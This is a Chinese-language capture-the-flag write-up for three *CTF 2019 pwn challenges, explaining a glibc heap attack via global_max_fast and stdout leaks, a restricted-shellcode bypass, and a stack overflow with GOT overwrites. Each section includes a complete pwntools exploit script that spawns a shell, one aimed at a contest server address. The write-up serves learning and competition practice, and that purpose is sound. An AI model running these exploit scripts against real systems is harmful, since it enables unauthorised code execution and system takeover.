Startctf2019

不愧是*CTF,质量的确很高,做这些题都能学到新的姿势,慢慢复现学一波操作吧

heap_master

64位保护全开,这题很骚,也是很有意思,程序逻辑却非常简单

首先add函数,就这样,没了,只能申请任意大小的chunk,但是不能操作

1557666901890

接着就是edit函数,这里比较骚的是,他edit的地址是一个随机产生的地址,所有的写入操作都跟上面add申请的chunk无关

1557666948147

最后是一个delete函数,同样的,free也是对随机产生的模拟堆地址进行操作的

1557667019465

这就是程序的逻辑,过于简单,以至于泄漏函数都没有

这里直接讲利用思路了

官方解是用large bin attack +stdout 泄漏的方法,

我这里先复现的是这位大佬的方法:global max fast +stdout 泄漏

这里首先可以通过unsorted bin attack 改global max fast为一个很大的值,从而使得后续的操作都是fastbin 操作

ctf wiki上面有这部分的介绍:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/

具体的做法是:

  • 将一个chunk free进unsorted bin中
  • 修改这个chunk的bk末两个字节,利用爆破的方法,使得bk指向global max fast,它的位置大概在__free_hook+0x50的地方
  • 再次malloc,使得global max fast被写入main_arena 的地址

接着就要解决泄漏libc的问题

这里采用了修改stdout结构体成员的方法,泄漏出libc,需要按以下进行构造:

  • _IO_write_base指向开始泄露的地址
  • _IO_write_ptr指向泄露结束的地址
  • _IO_read_end等于_IO_write_base以绕过限制,这里统一构造成一个堆地址

由于修改了global max fast为一个很大的值,这意味着,就算free一个很大的chunk(如0x1000),他也会被链入fastbin,fastbin会根据大小不同,分别链到main_arena中的fastbinY数组中,数组大小原本为10,但修改global_max_fast之后,更大的fastbin将会根据偏移来计算链到的位置,而超出原本fastbinY规定的位置,到达bins甚至更后面的File结构体

这就为我们改stdout结构体成员创造了条件!因为stdout结构体就是在main_arena后面的,通过合理的设置chunk的size,能够改变stdout结构体成员,从而泄漏出libc

1557670261816

拿到了libc以后,就是改__free_hook为system函数,然后free一个内容为“/bin/sh”的chunk,从而getshell

具体的操作是这样的

  • 将一个chunk free进fastbin,通过前面类似的操作,使得free_hook的内容为chunk1的堆地址
  • 此时可以理解为free_hook就是一个fastbin数组的一项,他存储的是fastbin的头指针
  • 那么这时修改chunk1+0x10的地方改为system
  • 也就相当于改fd,将chunk1->fd改为system
  • malloc一下,这时free_hook这个fastbin数组就会被写入fd的内容,也就使得改free_hook为system了
  • 接着free一个/bin/sh,即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):

text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[2],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def add(size):
p.recv()
sl("1")
ru("size: ")
sl(str(size))

def edit(idx,size,content):
p.recv()
sl("2")
ru("offset: ")
sl(str(idx))
ru("size: ")
sl(str(size))
ru("content: ")
sd(content)

def free(idx):
p.recv()
sl("3")
ru("offset: ")
sl(str(idx))
def m_edit(offset,size,content):
#p.recvuntil(">> ")
p.sendline("2")
#p.recvuntil("offset: ")
p.sendline(str(offset))
#p.recvuntil("size: ")
p.sendline(str(size))
#p.recvuntil("content: ")
p.send(content)
def m_free(offset):
#p.recvuntil(">> ")
p.sendline("3")
#p.recvuntil("offset: ")
p.sendline(str(offset))
def exp():
chunk0=p64(0)+p64(0x21)
edit(0,len(chunk0),chunk0)

chunk1=p64(0)+p64(0x91)
edit(0x20,len(chunk1),chunk1)

chunk2=p64(0)+p64(0x21)
edit(0x20+0x90,len(chunk2),chunk2)

chunk3=p64(0)+p64(0x21)
edit(0x20+0x90+0x20,len(chunk3),chunk3)

guess_addr= 0xd000
heap_max_fast=guess_addr+libc.symbols['__free_hook']+0x50
fastbin_ptr=guess_addr+libc.symbols['__free_hook']-0x1c88 +8
#fastbin数组地址实际上就是main_arena+8,这个偏移可以调试得到
stdout_addr=guess_addr+libc.symbols['_IO_2_1_stdout_']
print "global_max_fast",hex(heap_max_fast)
print "fastbin_ptr",hex(fastbin_ptr)
print "stdout_addr",hex(stdout_addr)
free(0x20+0x10)#free chunk1 到 unsorted bin


data=p16((heap_max_fast-0x10)&0xffff)#爆破2字节
edit(0x20+0x10+8,2,data)
## 改global_max_fast 为main_arena地址
add(0x80)#触发unsorted bin attack
print "overwrite global_max_fast success!!!"


read_end=stdout_addr+0x10
write_base=stdout_addr+0x20
write_ptr=stdout_addr+0x28
write_end=stdout_addr+0x30


#修改stdout->_IO_read_end 为一个chunk1_m的堆地址
idx=(read_end-fastbin_ptr)/8
size=idx*0x10+0x20#计算出size值
print "size1:",hex(size)
size=0x1630
data=p64(size+1)
edit(0x38,8,data)
data=p64(0)+p64(0x21)
edit(0x30+size,0x10,data)#这里是为了绕过fastbin的检查
free(0x40)#触发

#修改stdout->_IO_write_end 为一个chunk1_m+0x10的堆地址
idx=(write_end-fastbin_ptr)/8
size=idx*0x10+0x20#计算出size值
print "size2:",hex(size)
size=0x1670
data=p64(size+1)
m_edit(0x48,8,data)
data=p64(0)+p64(0x21)
m_edit(0x40+size,0x10,data)#这里是为了绕过fastbin的检查
m_free(0x50)
#pause()

#修改stdout->_IO_write_ptr 为一个chunk1_m+0x10的堆地址
#表示到chunk1_m+0x10的堆地址泄露结束
idx=(write_ptr-fastbin_ptr)/8
size=idx*0x10+0x20
print "size3:",hex(size)
size=0x1660
data=p64(size+1)
m_edit(0x48,8,data)
data=p64(0)+p64(0x21)
m_edit(0x40+size,0x10,data)#这里是为了绕过fastbin的检查
m_free(0x50)

#修改stdout->_IO_write_base 为一个chunk1_m的堆地址
#表示从chunk1_m的堆地址开始泄露
#此时满足条件:stdout->_IO_read_end == stdout->_IO_write_base
idx=(write_base-fastbin_ptr)/8
size=idx*0x10+0x20
print "size4:",hex(size)
size=0x1650
data=p64(size+1)
m_edit(0x38,8,data)
data=p64(0)+p64(0x21)
m_edit(0x30+size,0x10,data)#这里是为了绕过fastbin的检查
m_free(0x40)


#泄露libc
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.symbols['__malloc_hook']-88-0x10
log.info("leak libc base: %s"%hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
log.info("system addr: %s"% hex(system_addr))

#修改free_hook为chunk1_m的堆地址
idx=(free_hook-fastbin_ptr)/8
size=idx*0x10+0x20
print hex(size)
size=0x3920
data=p64(size+1)
m_edit(0x38,8,data)
data=p64(0)+p64(0x21)
m_edit(0x30+size,0x10,data)
m_free(0x40)

##UAF
edit(0x40,8,p64(system_addr))#修改fd为system
#piedebug(0xf9d)
add(0x3910)

data='/bin/sh\x00'
edit(0x110,8,data)
free(0x110)
getshell()


if __name__ == '__main__':
bin_elf = "./heap_master"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc

while True:
try:
p = process(bin_elf)
exp()
p.close()
except Exception as e:
print e
#pause()
p.close()

tql,这大概是神仙才能出这样的题目吧,这里先复现这种解法,官方的解法我之后看看再复现吧,希望不会鸽、、、、

babyshell

这题主要是考察shellcode的构造利用

逻辑也是相当简单,主要意思就是你只能从这里面的数据中选,来构造一个shellcode

1557723546280

最后那个是syscall指令

这题看IDA就用处不大,主要还是得动态调试

在call rdx,也就是在执行输入的shellcode之前下个断点进行观察

1557724286256

1557724442096

我们可以发现,此时的rax为0,rdi,rsi,rdx,都是栈顶的第一个值

这里可以想到利用系统调用,而0号正是调用read函数的

再看看限制输入的字符串中有哪些可以用来做指令的机器码:

1557724710705

由此可以发现,能有的指令有:

pop rdi ,pop rdx,syscall

根据上面的分析,rax已经是0了,这时用再想办法构造read(0,buf,num)就行了

这里看栈里面的内容:

1557727289225

这里就可以疯狂pop,直到使得rdi为0,使得rdx为一个很大的数,rsi的值是一直不变的,指向buf,因此就可以调用read(0,buf,num)了

1
2
3
4
5
6
7
pop rdx
pop rdx
pop rdx
pop rdx
pop rdi
pop rdi
syscall

然后再往buf写一次pwntools生成的shellcode就行了

实际上这题有个非预期解法

由于在检查的时候for循环是这么写的

1557727804710

那么如果*i第一个就是0的话,循环就直接退出 return 1了就这样绕过了检查、、、、

于是,简简单单一句sd("\x00gg"+""+asm(shellcraft.sh())) 也能getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./shellcode"
context.binary=bin_elf

elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("34.92.37.22",10002)
libc = elf.libc
#libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
#-------------------------------------

shellcode = asm("""
pop rdx
pop rdx
pop rdx
pop rdx
pop rdi
pop rdi
syscall
""")

ru("give me shellcode, plz:\n")
#debug("b *0x4008CB")
sd(shellcode)
sd("\x90"*0x20+asm(shellcraft.sh()))

getshell()

quicksort

32位开nx和canary

这个也是蛮有趣的一题,主要的洞就是栈溢出,主要就是调试的问题,思路还是比较容易想到的

漏洞点:

1557758700954

栈内变量布局是这样的

1557759276039

可以发现input是可以覆盖下面的所有的变量的,因此配合gets函数和ptr指针,可以做到任意地址的写

主要的利用思路是这样的

  • 首先把free的got改成main函数,这样用于处理后面的free(ptr)报错的情况,从而无限main
  • 泄漏getchar的got,从而拿到libc
  • 改atoi的got为system,再改ptr指针为一个bss上的地址,同时往这上面写“/bin/sh”
  • atoi(&input) —–> getshell

这里有一点小坑就是,在交互数据的时候出现的负数的情况和atoi函数处理0x7fxxxx等大数的情况,是需要考虑将其转换的,具体看exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
#-------------------------------------

def write(num,*content):
ru("how many numbers do you want to sort?\n")
sl(str(num))
for x in xrange(num):
ru(":")
sl(str(content[x]))
p.recv()

def exp():
vul = 0x8048816

ru("how many numbers do you want to sort?\n")
sl("1")
ru(":")
payload = str(vul)+" "
payload =payload.ljust(0x10,"a")
payload+=p32(1)+p32(0)+p32(0)+p32(elf.got["free"])
sl(payload)

ru("how many numbers do you want to sort?\n")
sl("1")
ru(":")
payload ="0 "
payload =payload.ljust(0x10,"a")
payload+=p32(1)+p32(1)+p32(0)+p32(elf.got["getchar"])
sl(payload)
ru("Here is the result:\n")
getchar = int(p.recvuntil(" "),10)+0xffffffff+1
libc_base = getchar-libc.sym["getchar"]
system = libc_base+libc.sym["system"]
print "getchar--->",hex(getchar)
print "libc_base--->",hex(libc_base)
print "one--->",hex(one)

ru("how many numbers do you want to sort?\n")
sl("1")
ru(":")
payload = str(system-0xffffffff-1)+" "
payload=payload.ljust(0x10,"a")
payload+=p32(1)+p32(0)+p32(0)+p32(elf.got["atoi"])
payload+="a"*0x14
sl(payload)

ru("how many numbers do you want to sort?\n")
sl("1")
ru(":")
sl("/bin/sh\x00")
getshell()




if __name__ == '__main__':
bin_elf = "./quicksort"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
p = process(bin_elf)
libc = elf.libc
exp()